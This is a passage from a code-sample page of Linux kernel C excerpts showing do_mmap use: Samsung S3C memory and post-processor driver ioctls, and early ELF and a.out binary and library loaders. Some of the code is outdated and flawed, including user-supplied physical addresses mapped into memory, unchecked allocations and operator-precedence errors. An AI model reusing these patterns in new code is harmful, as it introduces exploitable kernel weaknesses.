				" \t size = %d \t param.vir_addr = 0x%X, %d\n",
				param.phy_addr, param.size, param.vir_addr,
				__LINE__);

		if (copy_to_user((struct s3c_mem_alloc *)arg, &param,
					sizeof(struct s3c_mem_alloc))) {
			flag = 0;
			mutex_unlock(&mem_cacheable_alloc_lock);
			return -EFAULT;
		}
		flag = 0;
		mutex_unlock(&mem_cacheable_alloc_lock);

		break;

	case S3C_MEM_SHARE_ALLOC:
		mutex_lock(&mem_share_alloc_lock);
		if (copy_from_user(&param, (struct s3c_mem_alloc *)arg,
					sizeof(struct s3c_mem_alloc))) {
			mutex_unlock(&mem_share_alloc_lock);
			return -EFAULT;
		}
		flag = MEM_ALLOC_SHARE;
		physical_address = param.phy_addr;
		DEBUG("param.phy_addr = %08x, %d\n",
				physical_address, __LINE__);
		param.vir_addr = do_mmap(file, 0, param.size,
				(PROT_READ|PROT_WRITE), MAP_SHARED, 0);
		DEBUG("param.vir_addr = %08x, %d\n",
				param.vir_addr, __LINE__);
		if (param.vir_addr == -EINVAL) {
			printk(KERN_INFO "S3C_MEM_SHARE_ALLOC FAILED\n");
			flag = 0;
			mutex_unlock(&mem_share_alloc_lock);
			return -EFAULT;
		}
		DEBUG("MALLOC_SHARE : param.phy_addr = 0x%X \t "
				"size = %d \t param.vir_addr = 0x%X, %d\n",
				param.phy_addr, param.size, param.vir_addr,
				__LINE__);

		if (copy_to_user((struct s3c_mem_alloc *)arg, &param,
					sizeof(struct s3c_mem_alloc))) {
			flag = 0;
			mutex_unlock(&mem_share_alloc_lock);
			return -EFAULT;
		}
		flag = 0;
		mutex_unlock(&mem_share_alloc_lock);

		break;

	case S3C_MEM_CACHEABLE_SHARE_ALLOC:
		mutex_lock(&mem_cacheable_share_alloc_lock);
		if (copy_from_user(&param, (struct s3c_mem_alloc *)arg,
					sizeof(struct s3c_mem_alloc))) {
			mutex_unlock(&mem_cacheable_share_alloc_lock);
			return -EFAULT;
		}
		flag = MEM_ALLOC_CACHEABLE_SHARE;
		physical_address = param.phy_addr;
		DEBUG("param.phy_addr = %08x, %d\n",
				physical_address, __LINE__);
		param.vir_addr = do_mmap(file, 0, param.size,
				(PROT_READ|PROT_WRITE), MAP_SHARED, 0);
		DEBUG("param.vir_addr = %08x, %d\n",
				param.vir_addr, __LINE__);
		if (param.vir_addr == -EINVAL) {
			printk(KERN_INFO "S3C_MEM_SHARE_ALLOC FAILED\n");
			flag = 0;
			mutex_unlock(&mem_cacheable_share_alloc_lock);
			return -EFAULT;
		}
		DEBUG("MALLOC_SHARE : param.phy_addr = 0x%X \t "
				"size = %d \t param.vir_addr = 0x%X, %d\n",
				param.phy_addr, param.size, param.vir_addr,
				__LINE__);

		if (copy_to_user((struct s3c_mem_alloc *)arg, &param,
					sizeof(struct s3c_mem_alloc))) {
			flag = 0;
			mutex_unlock(&mem_cacheable_share_alloc_lock);
			return -EFAULT;
		}
		flag = 0;
		mutex_unlock(&mem_cacheable_share_alloc_lock);

		break;

	case S3C_MEM_FREE:
		mutex_lock(&mem_free_lock);
		if (copy_from_user(&param, (struct s3c_mem_alloc *)arg,
					sizeof(struct s3c_mem_alloc))) {
			mutex_unlock(&mem_free_lock);
			return -EFAULT;
		}

		DEBUG("KERNEL FREE : param.phy_addr = 0x%X \t "
				"size = %d \t param.vir_addr = 0x%X, %d\n",
				param.phy_addr, param.size, param.vir_addr,
				__LINE__);

		if (do_munmap(mm, param.vir_addr, param.size) < 0) {
			printk(KERN_INFO "do_munmap() failed !!\n");
			mutex_unlock(&mem_free_lock);
			return -EINVAL;
		}

#ifdef USE_DMA_ALLOC
		virt_addr = param.kvir_addr;
		dma_free_writecombine(NULL, param.size,
				(unsigned int *) virt_addr, param.phy_addr);
#else
		virt_addr = (unsigned long *)phys_to_virt(param.phy_addr);
		kfree(virt_addr);
#endif
		param.size = 0;
		DEBUG("do_munmap() succeed !!\n");

		if (copy_to_user((struct s3c_mem_alloc *)arg, &param,
					sizeof(struct s3c_mem_alloc))) {
			mutex_unlock(&mem_free_lock);
			return -EFAULT;
		}

		mutex_unlock(&mem_free_lock);

		break;

	case S3C_MEM_SHARE_FREE:
		mutex_lock(&mem_share_free_lock);
		if (copy_from_user(&param, (struct s3c_mem_alloc *)arg,
					sizeof(struct s3c_mem_alloc))) {
			mutex_unlock(&mem_share_free_lock);
			return -EFAULT; }

		DEBUG("MEM_SHARE_FREE : param.phy_addr = 0x%X \t "
				"size = %d \t param.vir_addr = 0x%X, %d\n",
				param.phy_addr, param.size, param.vir_addr,
				__LINE__);

		if (do_munmap(mm, param.vir_addr, param.size) < 0) {
			printk(KERN_INFO "do_munmap() failed - MEM_SHARE_FREE!!\n");
			mutex_unlock(&mem_share_free_lock);
			return -EINVAL;
		}

		param.vir_addr = 0;
		DEBUG("do_munmap() succeed !! - MEM_SHARE_FREE\n");

		if (copy_to_user((struct s3c_mem_alloc *)arg, &param,
					sizeof(struct s3c_mem_alloc))) {
			mutex_unlock(&mem_share_free_lock);
			return -EFAULT;
		}

		mutex_unlock(&mem_share_free_lock);

		break;

#ifdef CONFIG_S3C_DMA_MEM
	case S3C_MEM_DMA_COPY:
		if (copy_from_user(&dma_param, (struct s3c_mem_dma_param *)arg,
				sizeof(struct s3c_mem_dma_param))) {
			return -EFAULT;
		}
		if (s3c_dma_mem_start(current->mm, &dma_param,
				S3C_DMA_MEM2MEM)) {
			return -EINVAL;
		}
		if (copy_to_user((struct s3c_mem_dma_param *)arg, &dma_param,
				sizeof(struct s3c_mem_dma_param))) {
			return -EFAULT;
		}
		break;
#endif

	case S3C_MEM_GET_PADDR:
		if (copy_from_user(&param, (struct s3c_mem_alloc *)arg,
					sizeof(struct s3c_mem_alloc))) {
			return -EFAULT;
		}
		start = param.vir_addr;
		down_read(&mm->mmap_sem);
		vma = find_vma(mm, start);

		if (vma == NULL) {
			up_read(&mm->mmap_sem);
			return -EINVAL;
		}

		if (follow_pfn(vma, start, &this_pfn)) {
			up_read(&mm->mmap_sem);
			return -EINVAL;
		}

		param.phy_addr = this_pfn << PAGE_SHIFT;
		up_read(&mm->mmap_sem);

		if (copy_to_user((struct s3c_mem_alloc *)arg, &param,
					sizeof(struct s3c_mem_alloc))) {
			return -EFAULT;
		}
		break;

	default:
		DEBUG("s3c_mem_ioctl() : default !!\n");
		return -EINVAL;
	}

	return 0;
}
Пример #24
0
static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs)
{
	struct elfhdr elf_ex;
	struct elfhdr interp_elf_ex;
	struct file * file;
  	struct exec interp_ex;
	struct inode *interpreter_inode;
	unsigned int load_addr;
	unsigned int interpreter_type = INTERPRETER_NONE;
	int i;
	int old_fs;
	int error;
	struct elf_phdr * elf_ppnt, *elf_phdata;
	int elf_exec_fileno;
	unsigned int elf_bss, k, elf_brk;
	int retval;
	char * elf_interpreter;
	unsigned int elf_entry;
	int status;
	unsigned int start_code, end_code, end_data;
	unsigned int elf_stack;
	char passed_fileno[6];
	
	status = 0;
	load_addr = 0;
	elf_ex = *((struct elfhdr *) bprm->buf);	  /* exec-header */
	
	if (elf_ex.e_ident[0] != 0x7f ||
	    strncmp(&elf_ex.e_ident[1], "ELF",3) != 0)
		return  -ENOEXEC;
	
	
	/* First of all, some simple consistency checks */
	if(elf_ex.e_type != ET_EXEC || 
	   (elf_ex.e_machine != EM_386 && elf_ex.e_machine != EM_486) ||
	   (!bprm->inode->i_op || !bprm->inode->i_op->default_file_ops ||
	    !bprm->inode->i_op->default_file_ops->mmap)){
		return -ENOEXEC;
	};
	
	/* Now read in all of the header information */
	
	elf_phdata = (struct elf_phdr *) kmalloc(elf_ex.e_phentsize * 
						 elf_ex.e_phnum, GFP_KERNEL);
	
	old_fs = get_fs();
	set_fs(get_ds());
	retval = read_exec(bprm->inode, elf_ex.e_phoff, (char *) elf_phdata,
			   elf_ex.e_phentsize * elf_ex.e_phnum);
	set_fs(old_fs);
	if (retval < 0) {
	        kfree (elf_phdata);
		return retval;
	}
	
	elf_ppnt = elf_phdata;
	
	elf_bss = 0;
	elf_brk = 0;
	
	elf_exec_fileno = open_inode(bprm->inode, O_RDONLY);

	if (elf_exec_fileno < 0) {
	        kfree (elf_phdata);
		return elf_exec_fileno;
	}
	
	file = current->files->fd[elf_exec_fileno];
	
	elf_stack = 0xffffffff;
	elf_interpreter = NULL;
	start_code = 0;
	end_code = 0;
	end_data = 0;
	
	old_fs = get_fs();
	set_fs(get_ds());
	
	for(i=0;i < elf_ex.e_phnum; i++){
		if(elf_ppnt->p_type == PT_INTERP) {
			/* This is the program interpreter used for shared libraries - 
			   for now assume that this is an a.out format binary */
			
			elf_interpreter = (char *) kmalloc(elf_ppnt->p_filesz, 
							   GFP_KERNEL);
			
			retval = read_exec(bprm->inode,elf_ppnt->p_offset,elf_interpreter,
					   elf_ppnt->p_filesz);
#if 0
			printk("Using ELF interpreter %s\n", elf_interpreter);
#endif
			if(retval >= 0)
				retval = namei(elf_interpreter, &interpreter_inode);
			if(retval >= 0)
				retval = read_exec(interpreter_inode,0,bprm->buf,128);
			
			if(retval >= 0){
				interp_ex = *((struct exec *) bprm->buf);		/* exec-header */
				interp_elf_ex = *((struct elfhdr *) bprm->buf);	  /* exec-header */
				
			};
			if(retval < 0) {
			  kfree (elf_phdata);
			  kfree(elf_interpreter);
			  return retval;
			};
		};
		elf_ppnt++;
	};
	
	set_fs(old_fs);
	
	/* Some simple consistency checks for the interpreter */
	if(elf_interpreter){
	        interpreter_type = INTERPRETER_ELF | INTERPRETER_AOUT;
		if(retval < 0) {
			kfree(elf_interpreter);
			kfree(elf_phdata);
			return -ELIBACC;
		};
		/* Now figure out which format our binary is */
		if((N_MAGIC(interp_ex) != OMAGIC) && 
		   (N_MAGIC(interp_ex) != ZMAGIC) &&
		   (N_MAGIC(interp_ex) != QMAGIC)) 
		  interpreter_type = INTERPRETER_ELF;

		if (interp_elf_ex.e_ident[0] != 0x7f ||
		    strncmp(&interp_elf_ex.e_ident[1], "ELF",3) != 0)
		  interpreter_type &= ~INTERPRETER_ELF;

		if(!interpreter_type)
		  {
		    kfree(elf_interpreter);
		    kfree(elf_phdata);
		    return -ELIBBAD;
		  };
	}
	
	/* OK, we are done with that, now set up the arg stuff,
	   and then start this sucker up */
	
	if (!bprm->sh_bang) {
		char * passed_p;
		
		if(interpreter_type == INTERPRETER_AOUT) {
		  sprintf(passed_fileno, "%d", elf_exec_fileno);
		  passed_p = passed_fileno;
		
		  if(elf_interpreter) {
		    bprm->p = copy_strings(1,&passed_p,bprm->page,bprm->p,2);
		    bprm->argc++;
		  };
		};
		if (!bprm->p) {
		        if(elf_interpreter) {
			      kfree(elf_interpreter);
			}
		        kfree (elf_phdata);
			return -E2BIG;
		}
	}
	
	/* OK, This is the point of no return */
	flush_old_exec(bprm);

	current->mm->end_data = 0;
	current->mm->end_code = 0;
	current->mm->start_mmap = ELF_START_MMAP;
	current->mm->mmap = NULL;
	elf_entry = (unsigned int) elf_ex.e_entry;
	
	/* Do this so that we can load the interpreter, if need be.  We will
	   change some of these later */
	current->mm->rss = 0;
	bprm->p += change_ldt(0, bprm->page);
	current->mm->start_stack = bprm->p;
	
	/* Now we do a little grungy work by mmaping the ELF image into
	   the correct location in memory.  At this point, we assume that
	   the image should be loaded at fixed address, not at a variable
	   address. */
	
	old_fs = get_fs();
	set_fs(get_ds());
	
	elf_ppnt = elf_phdata;
	for(i=0;i < elf_ex.e_phnum; i++){
		
		if(elf_ppnt->p_type == PT_INTERP) {
			/* Set these up so that we are able to load the interpreter */
		  /* Now load the interpreter into user address space */
		  set_fs(old_fs);

		  if(interpreter_type & 1) elf_entry = 
		    load_aout_interp(&interp_ex, interpreter_inode);

		  if(interpreter_type & 2) elf_entry = 
		    load_elf_interp(&interp_elf_ex, interpreter_inode);

		  old_fs = get_fs();
		  set_fs(get_ds());

		  iput(interpreter_inode);
		  kfree(elf_interpreter);
			
		  if(elf_entry == 0xffffffff) { 
		    printk("Unable to load interpreter\n");
		    kfree(elf_phdata);
		    send_sig(SIGSEGV, current, 0);
		    return 0;
		  };
		};
		
		
		if(elf_ppnt->p_type == PT_LOAD) {
			error = do_mmap(file,
					elf_ppnt->p_vaddr & 0xfffff000,
					elf_ppnt->p_filesz + (elf_ppnt->p_vaddr & 0xfff),
					PROT_READ | PROT_WRITE | PROT_EXEC,
					MAP_FIXED | MAP_PRIVATE,
					elf_ppnt->p_offset & 0xfffff000);
			
#ifdef LOW_ELF_STACK
			if(elf_ppnt->p_vaddr & 0xfffff000 < elf_stack) 
				elf_stack = elf_ppnt->p_vaddr & 0xfffff000;
#endif
			
			if(!load_addr) 
			  load_addr = elf_ppnt->p_vaddr - elf_ppnt->p_offset;
			k = elf_ppnt->p_vaddr;
			if(k > start_code) start_code = k;
			k = elf_ppnt->p_vaddr + elf_ppnt->p_filesz;
			if(k > elf_bss) elf_bss = k;
			if((elf_ppnt->p_flags | PROT_WRITE) && end_code <  k)
				end_code = k; 
			if(end_data < k) end_data = k; 
			k = elf_ppnt->p_vaddr + elf_ppnt->p_memsz;
			if(k > elf_brk) elf_brk = k;		     
		      };
		elf_ppnt++;
	};
	set_fs(old_fs);
	
	kfree(elf_phdata);
	
	if(interpreter_type != INTERPRETER_AOUT) sys_close(elf_exec_fileno);

       	/* The following 3 lines need a little bit of work if we are loading
	   an iBCS2 binary.  We should initially load it this way, and if
	   we get a lcall7, then we should look to see if the iBCS2 execution
	   profile is present.  If it is, then switch to that, otherwise
	   bomb. */
	current->personality = PER_LINUX;
	current->lcall7 = no_lcall7;
	current->signal_map = current->signal_invmap = ident_map;

	current->executable = bprm->inode;
	bprm->inode->i_count++;
#ifdef LOW_ELF_STACK
	current->start_stack = p = elf_stack - 4;
#endif
	bprm->p -= MAX_ARG_PAGES*PAGE_SIZE;
	bprm->p = (unsigned long) 
	  create_elf_tables((char *)bprm->p,
			bprm->argc,
			bprm->envc,
			(interpreter_type == INTERPRETER_ELF ? &elf_ex : NULL),
			load_addr,    
			(interpreter_type == INTERPRETER_AOUT ? 0 : 1));
	if(interpreter_type == INTERPRETER_AOUT)
	  current->mm->arg_start += strlen(passed_fileno) + 1;
	current->mm->start_brk = current->mm->brk = elf_brk;
	current->mm->end_code = end_code;
	current->mm->start_code = start_code;
	current->mm->end_data = end_data;
	current->mm->start_stack = bprm->p;
	current->suid = current->euid = bprm->e_uid;
	current->sgid = current->egid = bprm->e_gid;

	/* Calling sys_brk effectively mmaps the pages that we need for the bss and break
	   sections */
	current->mm->brk = (elf_bss + 0xfff) & 0xfffff000;
	sys_brk((elf_brk + 0xfff) & 0xfffff000);

	padzero(elf_bss);

	/* Why this, you ask???  Well SVr4 maps page 0 as read-only,
	   and some applications "depend" upon this behavior.
	   Since we do not have the power to recompile these, we
	   emulate the SVr4 behavior.  Sigh.  */
	error = do_mmap(NULL, 0, 4096, PROT_READ | PROT_EXEC,
			MAP_FIXED | MAP_PRIVATE, 0);

	regs->eip = elf_entry;		/* eip, magic happens :-) */
	regs->esp = bprm->p;			/* stack pointer */
	if (current->flags & PF_PTRACED)
		send_sig(SIGTRAP, current, 0);
	return 0;
}
Пример #25
0
/* N.B. Move to .h file and use code in fs/binfmt_aout.c? */
static int load_aout32_library(struct file *file)
{
	struct inode * inode;
	unsigned long bss, start_addr, len;
	unsigned long error;
	int retval;
	struct exec ex;

	inode = file->f_path.dentry->d_inode;

	retval = -ENOEXEC;
	error = kernel_read(file, 0, (char *) &ex, sizeof(ex));
	if (error != sizeof(ex))
		goto out;

	/* We come in here for the regular a.out style of shared libraries */
	if ((N_MAGIC(ex) != ZMAGIC && N_MAGIC(ex) != QMAGIC) || N_TRSIZE(ex) ||
	    N_DRSIZE(ex) || ((ex.a_entry & 0xfff) && N_MAGIC(ex) == ZMAGIC) ||
	    inode->i_size < ex.a_text+ex.a_data+N_SYMSIZE(ex)+N_TXTOFF(ex)) {
		goto out;
	}

	if (N_MAGIC(ex) == ZMAGIC && N_TXTOFF(ex) &&
	    (N_TXTOFF(ex) < inode->i_sb->s_blocksize)) {
		printk("N_TXTOFF < BLOCK_SIZE. Please convert library\n");
		goto out;
	}

	if (N_FLAGS(ex))
		goto out;

	/* For  QMAGIC, the starting address is 0x20 into the page.  We mask
	   this off to get the starting address for the page */

	start_addr =  ex.a_entry & 0xfffff000;

	/* Now use mmap to map the library into memory. */
	down_write(&current->mm->mmap_sem);
	error = do_mmap(file, start_addr, ex.a_text + ex.a_data,
			PROT_READ | PROT_WRITE | PROT_EXEC,
			MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE,
			N_TXTOFF(ex));
	up_write(&current->mm->mmap_sem);
	retval = error;
	if (error != start_addr)
		goto out;

	len = PAGE_ALIGN(ex.a_text + ex.a_data);
	bss = ex.a_text + ex.a_data + ex.a_bss;
	if (bss > len) {
		down_write(&current->mm->mmap_sem);
		error = do_brk(start_addr + len, bss - len);
		up_write(&current->mm->mmap_sem);
		retval = error;
		if (error != start_addr + len)
			goto out;
	}
	retval = 0;
out:
	return retval;
}
Пример #26
0
static int load_elf_library(int fd){
        struct file * file;
	struct elfhdr elf_ex;
	struct elf_phdr *elf_phdata  =  NULL;
	struct  inode * inode;
	unsigned int len;
	int elf_bss;
	int old_fs, retval;
	unsigned int bss;
	int error;
	int i,j, k;
	
	len = 0;
	file = current->files->fd[fd];
	inode = file->f_inode;
	elf_bss = 0;
	
	set_fs(KERNEL_DS);
	if (file->f_op->read(inode, file, (char *) &elf_ex, sizeof(elf_ex)) != sizeof(elf_ex)) {
		sys_close(fd);
		return -EACCES;
	}
	set_fs(USER_DS);
	
	if (elf_ex.e_ident[0] != 0x7f ||
	    strncmp(&elf_ex.e_ident[1], "ELF",3) != 0)
		return -ENOEXEC;
	
	/* First of all, some simple consistency checks */
	if(elf_ex.e_type != ET_EXEC || elf_ex.e_phnum > 2 ||
	   (elf_ex.e_machine != EM_386 && elf_ex.e_machine != EM_486) ||
	   (!inode->i_op ||
	    !inode->i_op->default_file_ops->mmap)){
		return -ENOEXEC;
	};
	
	/* Now read in all of the header information */
	
	if(sizeof(struct elf_phdr) * elf_ex.e_phnum > PAGE_SIZE) 
		return -ENOEXEC;
	
	elf_phdata =  (struct elf_phdr *) 
		kmalloc(sizeof(struct elf_phdr) * elf_ex.e_phnum, GFP_KERNEL);
	
	old_fs = get_fs();
	set_fs(get_ds());
	retval = read_exec(inode, elf_ex.e_phoff, (char *) elf_phdata,
			   sizeof(struct elf_phdr) * elf_ex.e_phnum);
	set_fs(old_fs);
	
	j = 0;
	for(i=0; i<elf_ex.e_phnum; i++)
		if((elf_phdata + i)->p_type == PT_LOAD) j++;
	
	if(j != 1)  {
		kfree(elf_phdata);
		return -ENOEXEC;
	};
	
	while(elf_phdata->p_type != PT_LOAD) elf_phdata++;
	
	/* Now use mmap to map the library into memory. */
	error = do_mmap(file,
			elf_phdata->p_vaddr & 0xfffff000,
			elf_phdata->p_filesz + (elf_phdata->p_vaddr & 0xfff),
			PROT_READ | PROT_WRITE | PROT_EXEC,
			MAP_FIXED | MAP_PRIVATE,
			elf_phdata->p_offset & 0xfffff000);

	k = elf_phdata->p_vaddr + elf_phdata->p_filesz;
	if(k > elf_bss) elf_bss = k;
	
	sys_close(fd);
	if (error != elf_phdata->p_vaddr & 0xfffff000) {
	        kfree(elf_phdata);
		return error;
	}

	padzero(elf_bss);

	len = (elf_phdata->p_filesz + elf_phdata->p_vaddr+ 0xfff) & 0xfffff000;
	bss = elf_phdata->p_memsz + elf_phdata->p_vaddr;
	if (bss > len)
	  do_mmap(NULL, len, bss-len,
		  PROT_READ|PROT_WRITE|PROT_EXEC,
		  MAP_FIXED|MAP_PRIVATE, 0);
	kfree(elf_phdata);
	return 0;
}
Пример #27
0
static int s3c_pp_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
	s3c_pp_instance_context_t *current_instance;
	s3c_pp_params_t *parg;

	unsigned int temp = 0;
    mutex_lock(h_mutex);

	current_instance	= (s3c_pp_instance_context_t *) file->private_data;
	parg	            = (s3c_pp_params_t *) arg;

	switch ( cmd )
    {
		case S3C_PP_SET_PARAMS:
            {
                s3c_pp_out_path_t temp_out_path; 
                unsigned int temp_src_width, temp_src_height, temp_dst_width, temp_dst_height;
                s3c_color_space_t temp_src_color_space, temp_dst_color_space;

                get_user(temp_out_path, &parg->out_path);

                if ( (-1 != s3c_pp_instance_info.fifo_mode_instance_no )
                     || ((s3c_pp_instance_info.dma_mode_instance_count) && (FIFO_FREERUN == temp_out_path)) )
                {
                    printk ( KERN_ERR "\n%s: S3C_PP_SET_PARAMS can't be executed.\n", __FUNCTION__ );
                    mutex_unlock(h_mutex);
    			    return -EINVAL; 
                }

    			get_user(temp_src_width,       &parg->src_width);
    			get_user(temp_src_height,      &parg->src_height);
    			get_user(temp_dst_width,       &parg->dst_width);
    			get_user(temp_dst_height,      &parg->dst_height);

                // S3C6410 support that the source image is up to 4096 x 4096
                //     and the destination image is up to 2048 x 2048.
    			if (    (temp_src_width > 4096) || (temp_src_height > 4096) 
                     || (temp_dst_width > 2048) || (temp_dst_height > 2048) )
    			{
    				printk(KERN_ERR "\n%s: Size is too big to be supported.\n", __FUNCTION__);
    				mutex_unlock(h_mutex);
    				return -EINVAL;
    			}
                
                get_user(temp_src_color_space, &parg->src_color_space);
                get_user(temp_dst_color_space, &parg->dst_color_space);

                if (    ( (temp_src_color_space == YC420) && (temp_src_width % 8) )
                     || ( (temp_src_color_space == RGB16) && (temp_src_width % 2) ) 
                     || ( (temp_out_path == DMA_ONESHOT) && (    ((temp_dst_color_space == YC420) && (temp_dst_width % 8))
                                                              || ((temp_dst_color_space == RGB16) && (temp_dst_width % 2)))) )
                {
    				printk(KERN_ERR "\n%s: YUV420 image width must be a multiple of 8.\n", __FUNCTION__);
                    printk(KERN_ERR "%s: RGB16 must be a multiple of 2.\n", __FUNCTION__);
    				mutex_unlock(h_mutex);
    				return -EINVAL;
                } 
                
                
    			get_user(current_instance->src_full_width,  &parg->src_full_width);
    			get_user(current_instance->src_full_height, &parg->src_full_height);
    			get_user(current_instance->src_start_x,     &parg->src_start_x);
    			get_user(current_instance->src_start_y,     &parg->src_start_y);
    			current_instance->src_width                 = temp_src_width;
    			current_instance->src_height                = temp_src_height;
                current_instance->src_color_space           = temp_src_color_space;

    			get_user(current_instance->dst_full_width,  &parg->dst_full_width);
                get_user(current_instance->dst_full_height, &parg->dst_full_height);
                get_user(current_instance->dst_start_x,     &parg->dst_start_x);
    			get_user(current_instance->dst_start_y,     &parg->dst_start_y);
    			current_instance->dst_width                 = temp_dst_width;
    			current_instance->dst_height                = temp_dst_height;
                current_instance->dst_color_space           = temp_dst_color_space;

                current_instance->out_path                  = temp_out_path;

                if ( DMA_ONESHOT == current_instance->out_path )
                {
                    s3c_pp_instance_info.instance_state[current_instance->instance_no] = PP_INSTANCE_INUSE_DMA_ONESHOT;
                    s3c_pp_instance_info.dma_mode_instance_count++;               
                }
                else
                {
                    get_user(current_instance->scan_mode, &parg->scan_mode);

                    current_instance->dst_color_space = RGB30;

                    s3c_pp_instance_info.instance_state[current_instance->instance_no] = PP_INSTANCE_INUSE_FIFO_FREERUN;
                    s3c_pp_instance_info.fifo_mode_instance_no = current_instance->instance_no;
                    s3c_pp_instance_info.wincon0_value_before_fifo_mode = __raw_readl ( S3C_WINCON0 );
                
                    //.[ REDUCE_VCLK_SYOP_TIME
                    if ( current_instance->src_height > current_instance->dst_height )
                    {
                        int i;

                        for ( i=2; (current_instance->src_height >= (i * current_instance->dst_height)) && (i<8); i++ )
                        {
                        }

                        current_instance->src_full_width  *= i;
                        current_instance->src_full_height /= i;
                        current_instance->src_height      /= i;
                    }
                    //.] REDUCE_VCLK_SYOP_TIME
                }

                current_instance->value_changed |= PP_VALUE_CHANGED_PARAMS;
            }
			break;

		case S3C_PP_START:
            dprintk ( "%s: S3C_PP_START last_instance=%d, curr_instance=%d\n", __FUNCTION__, 
                        s3c_pp_instance_info.last_running_instance_no, current_instance->instance_no );

            if ( PP_INSTANCE_READY == s3c_pp_instance_info.instance_state[current_instance->instance_no] )
            {
                printk ( KERN_ERR "%s: S3C_PP_START must be executed after running S3C_PP_SET_PARAMS.\n", __FUNCTION__ );
                mutex_unlock(h_mutex);
			    return -EINVAL;
            }

            if ( current_instance->instance_no != s3c_pp_instance_info.last_running_instance_no )
            {
                __raw_writel(0x0<<31, s3c_pp_base + S3C_VPP_POSTENVID);
            
                temp = S3C_MODE2_ADDR_CHANGE_DISABLE | S3C_MODE2_CHANGE_AT_FRAME_END | S3C_MODE2_SOFTWARE_TRIGGER;
                __raw_writel(temp, s3c_pp_base + S3C_VPP_MODE_2);
                   
                set_clock_src(HCLK);
            
                // setting the src/dst color space
                set_data_format(current_instance);
            
                // setting the src/dst size 
                set_scaler(current_instance);
            
                // setting the src/dst buffer address
                set_src_addr(current_instance);
                set_dest_addr(current_instance);

                current_instance->value_changed = PP_VALUE_CHANGED_NONE;

                s3c_pp_instance_info.last_running_instance_no = current_instance->instance_no;
                s3c_pp_instance_info.running_instance_no = current_instance->instance_no;

                if ( PP_INSTANCE_INUSE_DMA_ONESHOT == s3c_pp_instance_info.instance_state[current_instance->instance_no] )
                { // DMA OneShot Mode
                    dprintk ( "%s: DMA_ONESHOT mode\n", __FUNCTION__ );

                    post_int_enable(1);
                    pp_dma_mode_set_and_start();


                    if ( !(file->f_flags & O_NONBLOCK) )
                    {
                        if (interruptible_sleep_on_timeout(&waitq, 500) == 0) 
                        {
                            printk(KERN_ERR "\n%s: Waiting for interrupt is timeout\n", __FUNCTION__);
                        }
                    }
                }
                else
                { // FIFO freerun Mode
                    dprintk ( "%s: FIFO_freerun mode\n", __FUNCTION__ );
                    s3c_pp_instance_info.fifo_mode_instance_no = current_instance->instance_no;

                    post_int_enable(1);
                    pp_fifo_mode_set_and_start(current_instance); 
                }
            }
            else
            {
                if ( current_instance->value_changed != PP_VALUE_CHANGED_NONE )
                {
                    __raw_writel(0x0<<31, s3c_pp_base + S3C_VPP_POSTENVID);

                    if ( current_instance->value_changed & PP_VALUE_CHANGED_PARAMS )
                    {
                        set_data_format(current_instance);
                        set_scaler(current_instance);
                    }

                    if ( current_instance->value_changed & PP_VALUE_CHANGED_SRC_BUF_ADDR_PHY )
                    {
                        set_src_addr(current_instance);
                    }

                    if ( current_instance->value_changed & PP_VALUE_CHANGED_DST_BUF_ADDR_PHY )
                    {
                        set_dest_addr(current_instance);
                    }

                    current_instance->value_changed = PP_VALUE_CHANGED_NONE;
                }

                s3c_pp_instance_info.running_instance_no = current_instance->instance_no;

                post_int_enable(1);
                start_processing();

                if ( !(file->f_flags & O_NONBLOCK) )
                {
                    if (interruptible_sleep_on_timeout(&waitq, 500) == 0) 
                    {
                        printk(KERN_ERR "\n%s: Waiting for interrupt is timeout\n", __FUNCTION__);
                    }
                }
            }
			break;

		case S3C_PP_GET_SRC_BUF_SIZE:

            if ( PP_INSTANCE_READY == s3c_pp_instance_info.instance_state[current_instance->instance_no] )
            {
                dprintk ( "%s: S3C_PP_GET_SRC_BUF_SIZE must be executed after running S3C_PP_SET_PARAMS.\n", __FUNCTION__ );
                mutex_unlock(h_mutex);
			    return -EINVAL;
            }

            temp = cal_data_size ( current_instance->src_color_space, current_instance->src_full_width, current_instance->src_full_height );

			mutex_unlock(h_mutex);
			return temp;


		case S3C_PP_SET_SRC_BUF_ADDR_PHY:

            get_user(current_instance->src_buf_addr_phy, &parg->src_buf_addr_phy);
            current_instance->value_changed |= PP_VALUE_CHANGED_SRC_BUF_ADDR_PHY;
			break;

        case S3C_PP_SET_SRC_BUF_NEXT_ADDR_PHY:

            if ( current_instance->instance_no != s3c_pp_instance_info.fifo_mode_instance_no )
            { // if FIFO Mode is not Active
                dprintk (KERN_DEBUG "%s: S3C_PP_SET_SRC_BUF_NEXT_ADDR_PHY can't be executed.\n", __FUNCTION__ );
                mutex_unlock(h_mutex);
                return -EINVAL;
            }            

            get_user(current_instance->src_next_buf_addr_phy, &parg->src_next_buf_addr_phy);

            temp = __raw_readl(s3c_pp_base + S3C_VPP_MODE_2);
            temp |= (0x1<<4);
            __raw_writel(temp, s3c_pp_base + S3C_VPP_MODE_2);
    
            set_src_next_buf_addr(current_instance);

            temp = __raw_readl(s3c_pp_base + S3C_VPP_MODE_2);
            temp &= ~(0x1<<4);
            __raw_writel(temp, s3c_pp_base + S3C_VPP_MODE_2);
            break;

		case S3C_PP_GET_DST_BUF_SIZE:
            
            if ( PP_INSTANCE_READY == s3c_pp_instance_info.instance_state[current_instance->instance_no] )
            {
                dprintk ( "%s: S3C_PP_GET_DST_BUF_SIZE must be executed after running S3C_PP_SET_PARAMS.\n", __FUNCTION__ );
                mutex_unlock(h_mutex);
			    return -EINVAL;
            }

            temp = cal_data_size ( current_instance->dst_color_space, current_instance->dst_full_width, current_instance->dst_full_height );

			mutex_unlock(h_mutex);
			return temp;

		case S3C_PP_SET_DST_BUF_ADDR_PHY:

            get_user(current_instance->dst_buf_addr_phy, &parg->dst_buf_addr_phy);
            current_instance->value_changed |= PP_VALUE_CHANGED_DST_BUF_ADDR_PHY;
			break;


        case S3C_PP_ALLOC_KMEM:
            {
                s3c_pp_mem_alloc_t param;
                
                if (copy_from_user(&param, (s3c_pp_mem_alloc_t *)arg, sizeof(s3c_pp_mem_alloc_t)))
                {
                    mutex_unlock(h_mutex);
                    return -EFAULT;
                }
                
                flag = ALLOC_KMEM;
                
                param.vir_addr = do_mmap(file, 0, param.size, PROT_READ|PROT_WRITE, MAP_SHARED, 0);
                dprintk (KERN_DEBUG "param.vir_addr = %08x\n", param.vir_addr);
                            
                flag = 0;

                if(param.vir_addr == -EINVAL) {
